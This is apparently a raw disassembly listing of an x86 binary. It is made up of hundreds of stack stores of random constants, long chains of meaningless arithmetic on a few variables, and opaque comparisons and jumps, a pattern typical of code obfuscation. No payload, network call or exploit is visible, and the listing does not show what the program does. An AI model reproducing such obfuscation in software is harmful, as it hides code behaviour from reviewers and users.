mov word [ebp - 0x15e8], dx
mov eax, 0x299
mov word [ebp - 0x8f88], ax
mov ecx, 0x20d
mov word [ebp - 0x3984], cx
mov dword [ebp - 0x7e18], 0x9ab55f8c
mov byte [ebp - 0x529], 0xf0
mov dword [ebp - 0x7e00], 0xbce0209
mov byte [ebp - 0xa121], 0xc2
mov byte [ebp - 0x395d], 0x79
mov byte [ebp - 0x2751], 0
mov dword [ebp - 0x2748], 0x156eb67f
mov dword [ebp - 0xb1f0], 0x6333e47a
mov dword [ebp - 0x7de0], 0xeab363e9
mov dword [ebp - 0x8f5c], 0x11e0991f
mov dword [ebp - 0x393c], 0xbd5d725d
mov edx, 0x861
mov word [ebp - 0x4a8c], dx
mov eax, 0x2c4
mov word [ebp - 0x2734], ax
mov ecx, 0xfd6
mov word [ebp - 0xe67c], cx
mov dword [ebp - 0xe678], 0x210e703
mov dword [ebp - 0x4e4], 0x61663c18
mov dword [ebp - 0x3928], 0x28d96b4f
mov dword [ebp - 0x6bcc], 0x3adf7cd5
mov edx, 0x3ed
mov word [ebp - 0x4a60], dx
mov dword [ebp - 0x10818], 0x380544e2
mov dword [ebp - 0x2724], 0x2f88c909
mov eax, 0x2ebe
mov word [ebp - 0x7da8], ax
mov byte [ebp - 0xc379], 0xd
mov dword [ebp - 0x1598], 0x738654a9
mov dword [ebp - 0x7d7c], 0x41c58746
mov dword [ebp - 0xc354], 0x5502f173
mov ecx, 0x97d
mov word [ebp - 0x8f10], cx
mov dword [ebp - 0x107e4], 0x1e80acf1
mov dword [ebp - 0x107e0], 0xb5b134ad
mov edx, 0x1ef
mov word [ebp - 0xc330], dx
mov byte [ebp - 0xa0c1], 0xb
mov dword [ebp - 0x38ec], 0x37a3ed50
mov dword [ebp - 0x49f4], 0x2ae222ca
mov dword [ebp - 0xe610], 0x7218ef8e
mov dword [ebp - 0xb148], 0x341c7548
mov eax, 0x4cda
mov word [ebp - 0xd490], ax
mov ecx, 0x339
mov word [ebp - 0x49cc], cx
mov dword [ebp - 0x488], 0x1b5df7c5
mov dword [ebp - 0xb13c], 0x1181ee9b
mov dword [ebp - 0x26a0], 0x4cc45e3f
mov edx, 0xd0f
mov word [ebp - 0x454], dx
mov dword [ebp - 0xe5d0], 0x526a556e
mov dword [ebp - 0x8ec0], 0x113567dc
mov dword [ebp - 0x3890], 0x18cd39a4
mov byte [ebp - 0x6b41], 0x4d
mov dword [ebp - 0xa06c], 0xbb7c7cd5
mov byte [ebp - 0x5a85], 0xbc
mov dword [ebp - 0x4964], 0x8cfb1a4b
mov eax, 0x1343
mov word [ebp - 0x1075c], ax
mov byte [ebp - 0xd415], 0xda
mov byte [ebp - 0x6b06], 0x2a
mov byte [ebp - 0x14f9], 0x43
mov byte [ebp - 0x6afd], 0x37
mov ecx, 0xdc5
mov word [ebp - 0xb0c0], cx
mov byte [ebp - 0x6af1], 0xd7
mov edx, 0x5797
mov word [ebp - 0x3e0], dx
mov dword [ebp - 0x381c], 0x7a3e2c15
mov dword [ebp - 0x3818], 0x88dbe4e2
mov eax, 0x26e
mov word [ebp - 0x7cb0], ax
mov ecx, 0x80a
mov word [ebp - 0x1072c], cx
mov dword [ebp - 0xd3e4], 0x7eb4717d
mov dword [ebp - 0x5a28], 0xacd3bfa
mov dword [ebp - 0xd3dc], 0x52dacbfe
mov edx, 0xe94
mov word [ebp - 0x37fc], dx
mov dword [ebp - 0x37f4], 0x6053bc9b
mov eax, 0xf70
mov word [ebp - 0x2604], ax
mov ecx, 0x417
mov word [ebp - 0xd3c8], cx
mov byte [ebp - 0xf565], 0x48
mov dword [ebp - 0xf564], 0xb22f7a5
mov dword [ebp - 0x8e2c], 0x4925c07a
mov byte [ebp - 0x8e25], 0x8c
mov edx, 0x1ff0
mov word [ebp - 0x25c4], dx
mov byte [ebp - 0x38d], 0x7f
mov dword [ebp - 0xc23c], 0x66d72065
mov dword [ebp - 0x6a84], 0x7615c6e9
mov byte [ebp - 0x379e], 0x1d
mov dword [ebp - 0xf538], 0x58b4b35
mov dword [ebp - 0x6a80], 0xe5886437
mov dword [ebp - 0x1069c], 0xe6da2269
mov byte [ebp - 0x10695], 0xc9
mov byte [ebp - 0xd375], 0xba
mov eax, 0x63d
mov word [ebp - 0xb034], ax
mov dword [ebp - 0xc210], 0xf4525018
mov dword [ebp - 0x48a0], 0xedaf06d3
mov byte [ebp - 0x4899], 0x53
mov dword [ebp - 0x4884], 0x480ea8af
mov byte [ebp - 0x255d], 4
mov dword [ebp - 0x374c], 0x69b62d1
mov dword [ebp - 0xd340], 0x56a250cb
mov dword [ebp - 0x10624], 0x639e45f8
mov dword [ebp - 0xf4c8], 0x6a683434
mov ecx, 0x448
mov word [ebp - 0x252c], cx
mov edx, 0x7137
mov word [ebp - 0x3708], dx
mov dword [ebp - 0x30c], 0x3e4eb5aa
mov byte [ebp - 0x251d], 0x4c
mov dword [ebp - 0xe4a8], 0x6e80e93a
mov byte [ebp - 0x36f5], 0x68
mov eax, 0x270
mov word [ebp - 0x4844], ax
mov dword [ebp - 0x2f8], 0x2d9ca91e
mov dword [ebp - 0x8d80], 0xc7b1d15
mov byte [ebp - 0xf4a9], 0xd9
mov ecx, 0xde7
mov word [ebp - 0xf4a8], cx
mov dword [ebp - 0x7ba4], 0x306cd98b
mov dword [ebp - 0x2ec], 0x393b1f3b
mov edx, 0xd1b
mov word [ebp - 0xc164], dx
mov byte [ebp - 0x9f15], 0x66
mov eax, 0x557
mov word [ebp - 0x6a00], ax
mov ecx, 0x365
mov word [ebp - 0x2e4], cx
mov dword [ebp - 0x105dc], 0x5ce6d078
mov dword [ebp - 0x24ec], 0x76eea4ed
mov dword [ebp - 0x8d48], 0x74b51bc0
mov dword [ebp - 0x105c4], 0x3566b79e
mov dword [ebp - 0xf480], 0xf5ccc8ba
mov dword [ebp - 0x8d18], 0xcb7d8c92
mov dword [ebp - 0x8d10], 0x7deac0c2
mov dword [ebp - 0xaf74], 0x6e035007
mov byte [ebp - 0xc139], 0xb0
mov dword [ebp - 0x7b58], 0x6ec89952
mov dword [ebp - 0xd2d4], 0x431e359a
mov edx, 0x18b
mov word [ebp - 0x368c], dx
mov dword [ebp - 0xf45c], 0x8d9bb2d
mov dword [ebp - 0xc128], 0x15903daf
mov dword [ebp - 0xe424], 0xdebf02c7
mov byte [ebp - 0x29d], 0xd
mov byte [ebp - 0x7b19], 0xb4
mov dword [ebp - 0x47ac], 0x56744586
mov dword [ebp - 0xc114], 0x9c5dfbbf
mov dword [ebp - 0x590c], 0xc2e2d9e8
mov eax, 0x6a3
mov word [ebp - 0x9e98], ax
mov ecx, 0x59fc
mov word [ebp - 0x3664], cx
mov dword [ebp - 0x264], 0xd27b2c25
mov byte [ebp - 0x8cb5], 7
mov dword [ebp - 0x8ca0], 0x6cb73324
mov dword [ebp - 0x1348], 0x275e8e16
mov edx, 0xcba
mov word [ebp - 0xd290], dx
mov byte [ebp - 0x8c99], 0x39
mov dword [ebp - 0x9e78], 0x7030babe
mov dword [ebp - 0x230], 0x1f26a9c4
mov eax, 0x226a
mov word [ebp - 0x6968], ax
mov dword [ebp - 0x3644], 0x17ae1d13
mov dword [ebp - 0x8c90], 0x4a6154b3
mov byte [ebp - 0xc0b5], 0x48
mov dword [ebp - 0x8c88], 0x1f30edd7
mov dword [ebp - 0x1318], 0x28147875
mov ecx, 0x203
mov word [ebp - 0xd264], cx
mov byte [ebp - 0xd259], 0x5d
mov dword [ebp - 0x3608], 0x492096dd
mov byte [ebp - 0x1305], 0x5d
mov dword [ebp - 0x58a0], 0x5090c231
mov dword [ebp - 0xf3e4], 0xd439402b
mov dword [ebp - 0xaee4], 0x701d9ac9
mov dword [ebp - 0x4714], 0x2a9db3b0
mov dword [ebp - 0x1e8], 0x595b3180
mov dword [ebp - 0x35c8], 0xdc30909
mov edx, 0x5a73
mov word [ebp - 0x104cc], dx
mov dword [ebp - 0x6910], 0x6ad1258d
mov eax, 0x5fa
mov word [ebp - 0x8c38], ax
mov dword [ebp - 0x8c2c], 0x127e16fa
mov byte [ebp - 0xc05d], 0xc5
mov dword [ebp - 0xf3b4], 0xd3e513c7
mov ecx, 0x3f7b
mov word [ebp - 0xf3b0], cx
mov dword [ebp - 0x8c1c], 0x5dfb15db
mov dword [ebp - 0xc054], 0xabbc1aa
mov dword [ebp - 0xf3a8], 0x54df4735
mov dword [ebp - 0x68f4], 0x3237351b
mov edx, 0x1f6
mov word [ebp - 0x23dc], dx
mov byte [ebp - 0x1b9], 0x4c
mov dword [ebp - 0x1a8], 0x359b9e0c
mov dword [ebp - 0xe340], 0x9b640627
mov eax, 0x9ad
mov word [ebp - 0x12b4], ax
mov byte [ebp - 0x19d], 0x85
mov dword [ebp - 0x8be8], 0x25c999ef
mov dword [ebp - 0x12a4], 0x48c13dd1
mov ecx, 0x7da
mov word [ebp - 0x68d4], cx
mov dword [ebp - 0x3584], 0xd138650c
mov dword [ebp - 0xc028], 0x45152706
mov edx, 0xf8c
mov word [ebp - 0x23b4], dx
mov byte [ebp - 0x7a0d], 0x28
mov eax, 0x2fb
mov word [ebp - 0x68b4], ax
mov dword [ebp - 0x1045c], 0x20da05f7
mov dword [ebp - 0x46a4], 0x7293774b
mov dword [ebp - 0x168], 0x685624eb
mov byte [ebp - 0x3551], 0x3f
mov ecx, 0x7fb
mov word [ebp - 0xbff0], cx
mov dword [ebp - 0x3550], 0xd8efeb1d
mov dword [ebp - 0xbfe0], 0x31a02f
mov dword [ebp - 0x8b4c], 0x8d7e886d
mov dword [ebp - 0x103fc], 0x8b017d2
mov edx, 0x397
mov word [ebp - 0x687c], dx
mov eax, 0xbc3
mov word [ebp - 0x2338], ax
mov dword [ebp - 0x11c], 0x4ff17fb5
mov dword [ebp - 0x8b34], 0x6ef8e952
mov dword [ebp - 0x104], 0x9782864
mov dword [ebp - 0x6874], 0x9b59483e
mov byte [ebp - 0xf312], 0x5d
mov dword [ebp - 0x103ec], 0x3689a194
mov dword [ebp - 0xd198], 0xb9204c7
mov ecx, 0xef4
mov word [ebp - 0xd194], cx
mov byte [ebp - 0x1241], 0xf8
mov dword [ebp - 0x8b14], 0x71e06973
mov dword [ebp - 0x34e0], 0xcee63758
mov dword [ebp - 0xe8], 0x5f400976
mov dword [ebp - 0xe2ac], 0x1270aab8
mov byte [ebp - 0x8afd], 1
mov dword [ebp - 0x57f4], 0x117322b3
mov dword [ebp - 0x9d54], 0x373f6423
mov dword [ebp - 0x57e4], 0x6b3eeb37
mov edx, 0x1a8
mov word [ebp - 0x6834], dx
mov eax, 0x5324
mov word [ebp - 0x4634], ax
mov ecx, 0x45
mov word [ebp - 0xf2c8], cx
mov byte [ebp - 0x34c9], 0xdb
mov dword [ebp - 0xcc], 0x8ed423fd
mov edx, 0x646c
mov word [ebp - 0xb4], dx
mov dword [ebp - 0xe258], 0xdc2bd74a
mov byte [ebp - 0xe242], 0x31
mov dword [ebp - 0xd128], 0x6c4f2334
mov eax, 0xd94
mov word [ebp - 0x7930], ax
mov dword [ebp - 0x8a9c], 0x5af5e0fe
mov dword [ebp - 0x11e4], 0x102d8c84
mov byte [ebp - 0x7911], 0x62
mov dword [ebp - 0x7900], 0xde3ea340
mov dword [ebp - 0xe214], 0xfe2e74f
mov ecx, 0xf05
mov word [ebp - 0xad74], cx
mov byte [ebp - 0xad65], 0x5c
mov edx, 0x4b2
mov word [ebp - 0x45b8], dx
mov eax, 0x4e3
mov word [ebp - 0xad58], ax
mov dword [ebp - 0x10338], 0x5234ad32
mov byte [ebp - 0x35], 0x4f
mov dword [ebp - 0xd0ec], 0x3a87462a
mov dword [ebp - 0xad4c], 0xbdf675ca
mov dword [ebp - 0xe1c4], 0x299eedbb
mov dword [ebp - 0x3448], 0x44fed8fc
mov byte [ebp - 0x1031e], 8
mov dword [ebp - 0xad44], 0x4decc96f
mov byte [ebp - 0x343d], 0x21
mov byte [ebp - 0x571e], 0x45
mov byte [ebp - 0x571d], 0xb2
mov dword [ebp - 0xd0c4], 0x43c5a4fd
mov ecx, 0x705
mov word [ebp - 0x223c], cx
mov edx, 0x910
mov word [ebp - 0x10300], dx
mov dword [ebp - 0x457c], 0x6eafccfa
mov eax, 0x6b72
mov word [ebp - 0x77a0], ax
mov dword [ebp - 0x57a0], 0x10a74
mov dword [ebp - 0xebd8], 0xda0e
movsx ecx, word [ebp - 0x77a0]
sub ecx, 0x2df
mov word [ebp - 0x77a0], cx
movsx edx, word [ebp - 0x77a0]
add edx, 0x217b
mov word [ebp - 0x77a0], dx
movsx eax, word [ebp - 0x77a0]
and eax, 0x2ebe
mov word [ebp - 0x77a0], ax
movsx ecx, word [ebp - 0x77a0]
sar ecx, 7
mov word [ebp - 0x77a0], cx
movsx edx, word [ebp - 0x77a0]
xor edx, 0x229f
mov word [ebp - 0x77a0], dx
movsx eax, word [ebp - 0x77a0]
shl eax, 7
mov word [ebp - 0x77a0], ax
movsx ecx, word [ebp - 0x77a0]
or ecx, 0xe5c
mov word [ebp - 0x77a0], cx
movsx edx, word [ebp - 0x77a0]
sub edx, 0x6388
mov word [ebp - 0x77a0], dx
movsx eax, word [ebp - 0x77a0]
add eax, 0x2cf9
mov word [ebp - 0x77a0], ax
movsx ecx, word [ebp - 0x77a0]
and ecx, 0x4705
mov word [ebp - 0x77a0], cx
movsx edx, word [ebp - 0x77a0]
sub edx, 0x498b
mov word [ebp - 0x77a0], dx
mov eax, dword [ebp - 0xebd8]
sub eax, 0xa8
mov dword [ebp - 0xebd8], eax
movsx ecx, word [ebp - 0x77a0]
add ecx, 0x4a8c
mov word [ebp - 0x77a0], cx
movsx edx, word [ebp - 0x77a0]
add edx, 0x6c0e
mov word [ebp - 0x77a0], dx
movsx eax, word [ebp - 0x77a0]
sub eax, 0x6f0f
mov word [ebp - 0x77a0], ax
movsx ecx, word [ebp - 0x77a0]
sar ecx, 9
mov word [ebp - 0x77a0], cx
cmp dword [ebp - 0xebd8], 0xa246
ja 0x403419
movzx edx, word [section..data]
or edx, 0x827
mov word [section..data], dx
mov dword [ebp - 0xa7f4], 0xebc5
movzx eax, word [section..data]
xor eax, 0xe7d
mov word [ebp - 0xf2c8], ax
mov ecx, dword [ebp - 0xa7f4]
add ecx, 0xb4
mov dword [ebp - 0xa7f4], ecx
movsx edx, word [ebp - 0x77a0]
shl edx, 0xf
mov word [ebp - 0x77a0], dx
movsx eax, word [ebp - 0x77a0]
and eax, 0x732e
mov word [ebp - 0x77a0], ax
movzx ecx, word [section..data]
sub ecx, 0xcc
mov word [ebp - 0xf2c8], cx
movzx edx, word [ebp - 0xf2c8]
add edx, 0xc5
mov word [section..data], dx
movsx eax, word [ebp - 0x77a0]
add eax, 0x24f
mov word [ebp - 0x77a0], ax
movzx ecx, word [section..data]
sub ecx, 0xf24
mov word [ebp - 0xf2c8], cx
movsx edx, word [ebp - 0x77a0]
and edx, 0x55ef
mov word [ebp - 0x77a0], dx
movzx eax, word [section..data]
add eax, 0xf2a
mov word [ebp - 0xf2c8], ax
movsx ecx, word [ebp - 0x77a0]
sub ecx, 0x223e
mov word [ebp - 0x77a0], cx
movzx edx, word [ebp - 0xf2c8]
add edx, 0x7b8
mov word [section..data], dx
movzx eax, word [section..data]
sub eax, 0xf5d
mov word [ebp - 0xf2c8], ax
movsx ecx, word [ebp - 0x77a0]
sar ecx, 3
mov word [ebp - 0x77a0], cx
movzx edx, word [section..data]
shl edx, 1
mov word [ebp - 0xf2c8], dx
movzx eax, word [section..data]
or eax, 0xda2
mov word [ebp - 0xf2c8], ax
movzx ecx, word [ebp - 0xf2c8]
xor ecx, 0x34d
mov word [section..data], cx
movsx edx, word [ebp - 0x77a0]
and edx, 0x5b0
mov word [ebp - 0x77a0], dx
movzx eax, word [section..data]
sub eax, 0x9a7
mov word [ebp - 0xf2c8], ax
movzx ecx, word [ebp - 0xf2c8]
add ecx, 0xa1b
mov word [section..data], cx
movzx edx, word [section..data]
sub edx, 0x1db
mov word [ebp - 0xf2c8], dx
movsx eax, word [ebp - 0x77a0]
add eax, 0x527a
mov word [ebp - 0x77a0], ax
movzx ecx, word [section..data]
add ecx, 0x587
mov word [ebp - 0xf2c8], cx
movzx edx, word [section..data]
and edx, 0x237
mov word [ebp - 0xf2c8], dx
movzx eax, word [section..data]
sub eax, 0x8aa
mov word [ebp - 0xf2c8], ax
movsx ecx, word [ebp - 0x77a0]
sub ecx, 0x58a2
mov word [ebp - 0x77a0], cx
movsx edx, word [ebp - 0x77a0]
add edx, 0x619d
mov word [ebp - 0x77a0], dx
movzx eax, word [section..data]
or eax, 0x120
mov word [ebp - 0xf2c8], ax
movzx ecx, word [section..data]
xor ecx, 0xc0a
mov word [ebp - 0xf2c8], cx
movzx edx, word [ebp - 0xf2c8]
sar edx, 0xb
mov word [section..data], dx
movzx eax, word [section..data]
shl eax, 2
mov word [ebp - 0xf2c8], ax
movzx ecx, word [section..data]
and ecx, 0xdf2
mov word [ebp - 0xf2c8], cx
movzx edx, word [section..data]
sub edx, 0x8fa
mov word [ebp - 0xf2c8], dx
movzx eax, word [section..data]
add eax, 0x95c
mov word [ebp - 0xf2c8], ax
movsx ecx, word [ebp - 0x77a0]
add ecx, 0x4475
mov word [ebp - 0x77a0], cx
movzx edx, word [section..data]
sub edx, 0x35d
mov word [ebp - 0xf2c8], dx
movsx eax, word [ebp - 0x77a0]
add eax, 0x2eef
mov word [ebp - 0x77a0], ax
movzx ecx, word [section..data]
sub ecx, 0x960
mov word [ebp - 0xf2c8], cx
movsx edx, word [ebp - 0x77a0]
and edx, 0x735c
mov word [ebp - 0x77a0], dx
movzx eax, word [section..data]
sub eax, 0x505
mov word [ebp - 0xf2c8], ax
movzx ecx, word [ebp - 0xf2c8]
or ecx, 0xee0
mov word [section..data], cx
movzx edx, word [section..data]
sar edx, 0xf
mov word [ebp - 0xf2c8], dx
movzx eax, word [section..data]
shl eax, 0xe
mov word [ebp - 0xf2c8], ax
movzx ecx, word [section..data]
xor ecx, 0xbae
mov word [ebp - 0xf2c8], cx
movzx edx, word [ebp - 0xf2c8]
add edx, 0x74d
mov word [section..data], dx
movsx eax, word [ebp - 0x77a0]
and eax, 0x5f33
mov word [ebp - 0x77a0], ax
cmp dword [ebp - 0xa7f4], 0xf381
jb 0x40358b
movsx ecx, word [ebp - 0x77a0]
cmp ecx, 0x6b8e
jg 0x4eeb2b
movsx edx, word [ebp - 0x77a0]
mov dword [ebp - 0x11494], edx
cmp dword [ebp - 0x11494], 0x17c5
je 0x403928
jmp 0x40394a
movzx eax, word [section..data]
sub eax, 0xd01
mov word [ebp - 0xf2c8], ax
push 0xa6
call fcn.00401340
jmp 0x4039fe
mov dword [ebp - 0x740c], 0x2136a06
mov dword [ebp - 0xea6c], 0xca8b
mov dword [ebp - 0x9edc], 0xc989
mov dword [ebp - 0x64c4], 0x453b
mov dword [ebp - 0x1d30], 0x814d
mov dword [ebp - 0xc434], 0xfb85
mov ecx, dword [ebp - 0x740c]
mov dword [ebp - 0xae84], ecx
mov byte [0x4f9af2], 0x6e
mov edx, dword [ebp - 0xae84]
mov dword [ebp - 0x11498], edx
cmp dword [ebp - 0x11498], 0x5fa477f2
je 0x4039b3
jmp 0x4039c8
movzx eax, word [section..data]
add eax, 0x86
mov word [ebp - 0xf2c8], ax
jmp 0x4039fe
mov cx, word [ebp - 0x77a0]
mov word [ebp - 0xfbf8], cx
mov dword [ebp - 0x624], 0xd766
mov dword [ebp - 0xa368], 0xdf53
mov dword [ebp - 0x19ac], 0x179e
mov dword [ebp - 0x2e60], 0x1efc76ec
mov edx, dword [ebp - 0x740c]
mov dword [ebp - 0x6b24], edx
mov dword [ebp - 0xe3c8], 0x9269
mov eax, dword [ebp - 0x2e60]
mov dword [ebp - 0x1149c], eax
cmp dword [ebp - 0x1149c], 0x1efc76ec
je 0x403a98
cmp dword [ebp - 0x1149c], 0x7f8177d6
je 0x403a3d
jmp 0x4eeab8
mov ecx, dword [ebp - 0x2e60]
mov dword [ebp - 0x114a0], ecx
cmp dword [ebp - 0x114a0], 0x1792dc84
je 0x403a57
jmp 0x403a69
mov edx, dword [ebp - 0x6b24]
add edx, dword [ebp - 0xae84]
mov dword [ebp - 0x740c], edx
mov eax, dword [ebp - 0x2e60]
push eax
mov ecx, dword [ebp - 0x740c]
push ecx
mov edx, dword [ebp - 0x740c]
push edx
movzx eax, word [ebp - 0x77a0]
push eax
movzx ecx, word [ebp - 0xf2c8]
push ecx
call fcn.004010a0
jmp 0x4eeab8
mov edx, dword [ebp - 0x6b24]
and edx, dword [ebp - 0x740c]
cmp edx, dword [ebp - 0xae84]
jg 0x4eea2b
cmp dword [ebp - 0x64c4], 0x81af
ja 0x403cf2
mov eax, dword [ebp - 0x2e60]
sub eax, 0x1fa77ef9
mov dword [ebp - 0x2e60], eax
mov ecx, dword [ebp - 0xae84]
add ecx, dword [ebp - 0x740c]
mov dword [ebp - 0x6b24], ecx
mov edx, dword [ebp - 0x2e60]
and edx, 0x86d0e49a
mov dword [ebp - 0x2e60], edx
movzx eax, word [section..data]
sub eax, 0xaa3
mov word [ebp - 0xf2c8], ax
movsx ecx, byte [0x4f9af2]
add ecx, 0x70
mov byte [0x4f9af2], cl
movzx edx, word [section..data]
sub edx, 0x83c
mov word [ebp - 0xf2c8], dx
movzx eax, word [section..data]
add eax, 0xf29
mov word [ebp - 0xf2c8], ax
mov ecx, dword [ebp - 0x740c]
sub ecx, dword [ebp - 0xae84]
mov dword [ebp - 0x6b24], ecx
movzx edx, word [section..data]
add edx, 0x2e4
mov word [ebp - 0xf2c8], dx
mov eax, dword [ebp - 0x2e60]
sub eax, 0x2c02f17d
mov dword [ebp - 0x2e60], eax
movzx ecx, word [section..data]
sub ecx, 0x768
mov word [ebp - 0xf2c8], cx
movsx edx, byte [0x4f9af2]
sar edx, 7
mov byte [0x4f9af2], dl
mov eax, dword [ebp - 0x2e60]
xor eax, 0xf39f3ffd
mov dword [ebp - 0x2e60], eax
movzx ecx, word [section..data]
shl ecx, 0xa
mov word [ebp - 0xf2c8], cx
mov edx, dword [ebp - 0x740c]
or edx, dword [ebp - 0xae84]
mov dword [ebp - 0x6b24], edx
mov eax, dword [ebp - 0x740c]
and eax, dword [ebp - 0x6b24]
mov dword [ebp - 0xae84], eax
mov ecx, dword [ebp - 0x740c]
add ecx, dword [ebp - 0x6b24]
mov dword [ebp - 0xae84], ecx
mov edx, dword [ebp - 0x2e60]
add edx, 0x40fb453b
mov dword [ebp - 0x2e60], edx
movzx eax, word [ebp - 0xf2c8]
and eax, 0x6da
mov word [section..data], ax
mov ecx, dword [ebp - 0x2e60]
add ecx, 0x3e482270
mov dword [ebp - 0x2e60], ecx
movzx edx, word [section..data]
sub edx, 0x793
mov word [ebp - 0xf2c8], dx
movzx eax, word [ebp - 0xf2c8]
add eax, 0x598
mov word [section..data], ax
movzx ecx, word [section..data]
sub ecx, 0x8d4
mov word [ebp - 0xf2c8], cx
mov edx, dword [ebp - 0xae84]
add edx, dword [ebp - 0x6b24]
mov dword [ebp - 0x740c], edx
movsx eax, word [ebp - 0x77a0]
or eax, 0x6a7f
mov word [ebp - 0xfbf8], ax
mov ecx, dword [ebp - 0x64c4]
add ecx, 0xd4
mov dword [ebp - 0x64c4], ecx
mov edx, dword [ebp - 0x2e60]
shr edx, 2
mov dword [ebp - 0x2e60], edx
mov eax, dword [ebp - 0x6b24]
xor eax, dword [ebp - 0xae84]
mov dword [ebp - 0x740c], eax
mov ecx, dword [ebp - 0x2e60]
shl ecx, 0x16
mov dword [ebp - 0x2e60], ecx
mov edx, dword [ebp - 0x2e60]
and edx, 0xa30de846
mov dword [ebp - 0x2e60], edx
mov eax, dword [ebp - 0xae84]
sub eax, dword [ebp - 0x6b24]
mov dword [ebp - 0x740c], eax
jmp 0x403ab0
lea ecx, [ebp - 0x2e60]
mov dword [ebp - 0x688c], ecx
mov dl, byte [0x4f9af2]
mov byte [ebp - 0x114a4], dl
cmp byte [ebp - 0x114a4], 0x69
je 0x403d15
jmp 0x403d64
mov eax, dword [ebp - 0x688c]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x2e60]
mov edx, dword [ebp - 0x688c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2e60]
add eax, 0x628532f6
mov ecx, dword [ebp - 0x688c]
cmp eax, dword [ecx]
je 0x403d52
mov edx, dword [ebp - 0x6b24]
sub edx, dword [ebp - 0xae84]
mov dword [ebp - 0x740c], edx
movzx eax, byte [0x4f9af2]
push eax
call fcn.004eebb0
jmp 0x4ee9a4
cmp dword [ebp - 0x1d30], 0x6379
jb 0x404044
mov ecx, dword [ebp - 0x688c]
mov edx, dword [ecx]
or edx, 0x2eb6bb26
mov dword [ebp - 0x2e60], edx
mov eax, dword [ebp - 0x2e60]
shr eax, 0x1f
mov ecx, dword [ebp - 0x688c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2e60]
shl edx, 0x15
mov eax, dword [ebp - 0x688c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1d30]
sub ecx, 0xa6
mov dword [ebp - 0x1d30], ecx
mov edx, dword [ebp - 0x2e60]
xor edx, 0x1169db
mov eax, dword [ebp - 0x688c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x688c]
mov edx, dword [ecx]
and edx, dword [ebp - 0x2e60]
mov eax, dword [ebp - 0x688c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2e60]
sub ecx, 0x4d4ce6e7
mov edx, dword [ebp - 0x688c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x740c]
sub eax, dword [ebp - 0xae84]
mov dword [ebp - 0x6b24], eax
mov ecx, dword [ebp - 0x740c]
add ecx, dword [ebp - 0xae84]
mov dword [ebp - 0x6b24], ecx
mov edx, dword [ebp - 0x2e60]
sub edx, 0x23fae1f
mov eax, dword [ebp - 0x688c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2e60]
add ecx, 0x59de0166
mov edx, dword [ebp - 0x688c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x688c]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x2e60]
mov edx, dword [ebp - 0x688c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x688c]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x2e60]
mov edx, dword [ebp - 0x688c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2e60]
sub eax, 0x6d75acf6
mov ecx, dword [ebp - 0x688c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2e60]
sub edx, 0x134cd1d5
mov eax, dword [ebp - 0x688c]
mov dword [eax], edx
movzx ecx, word [section..data]
xor ecx, 0xcb3
mov word [ebp - 0xf2c8], cx
mov edx, dword [ebp - 0x2e60]
shr edx, 0x17
mov eax, dword [ebp - 0x688c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2e60]
or ecx, 0xf8aa4261
mov edx, dword [ebp - 0x688c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x688c]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x2e60]
shl edx, cl
mov eax, dword [ebp - 0x688c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x688c]
mov edx, dword [ecx]
and edx, dword [ebp - 0x2e60]
mov eax, dword [ebp - 0x688c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x688c]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x2e60]
mov eax, dword [ebp - 0x688c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x688c]
mov edx, dword [ecx]
add edx, dword [ebp - 0x2e60]
mov eax, dword [ebp - 0x688c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2e60]
sub ecx, 0x52b4dbd
mov edx, dword [ebp - 0x688c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2e60]
sub eax, 0x3d2d660
mov ecx, dword [ebp - 0x688c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x688c]
mov eax, dword [edx]
add eax, dword [ebp - 0x2e60]
mov ecx, dword [ebp - 0x688c]
mov dword [ecx], eax
movsx edx, word [ebp - 0xfbf8]
add edx, 0x4906
mov word [ebp - 0x77a0], dx
movsx eax, word [ebp - 0xfbf8]
and eax, 0x6a32
mov word [ebp - 0x77a0], ax
mov ecx, dword [ebp - 0x688c]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x2e60]
mov eax, dword [ebp - 0x688c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x688c]
mov edx, dword [ecx]
or edx, dword [ebp - 0x2e60]
mov eax, dword [ebp - 0x688c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x688c]
mov edx, dword [ecx]
xor edx, 0xa32a53ea
mov dword [ebp - 0x2e60], edx
mov eax, dword [ebp - 0x688c]
mov ecx, dword [eax]
shl ecx, 0x14
mov dword [ebp - 0x2e60], ecx
mov edx, dword [ebp - 0x2e60]
shr edx, 0x1c
mov eax, dword [ebp - 0x688c]
mov dword [eax], edx
movzx ecx, word [ebp - 0xf2c8]
sub ecx, 0x1ce
mov word [section..data], cx
mov edx, dword [ebp - 0x740c]
and edx, dword [ebp - 0xae84]
mov dword [ebp - 0x6b24], edx
movzx eax, word [section..data]
sub eax, 0x333
mov word [ebp - 0xf2c8], ax
movzx ecx, word [section..data]
add ecx, 0x853
mov word [ebp - 0xf2c8], cx
jmp 0x403d64
movzx edx, word [ebp - 0xf2c8]
add edx, 0x65c
movzx eax, word [section..data]
cmp edx, eax
jg 0x404072
mov ecx, dword [ebp - 0x688c]
mov edx, dword [ecx]
add edx, dword [ebp - 0x2e60]
mov eax, dword [ebp - 0x688c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x740c]
sub ecx, dword [ebp - 0x6b24]
mov dword [ebp - 0xae84], ecx
mov edx, dword [ebp - 0x2e60]
